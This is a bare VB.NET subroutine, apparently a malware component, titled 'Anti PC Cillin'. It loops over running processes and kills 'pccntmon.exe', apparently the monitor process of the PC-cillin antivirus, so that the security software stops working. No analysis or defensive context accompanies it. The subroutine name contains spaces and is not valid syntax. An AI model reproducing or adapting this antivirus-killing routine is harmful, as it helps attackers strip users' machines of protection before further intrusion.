Sub Anti PC Cillin()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "pccntmon.exe"
ktp(i).Kill()
Case Else
End Select
Next
End Sub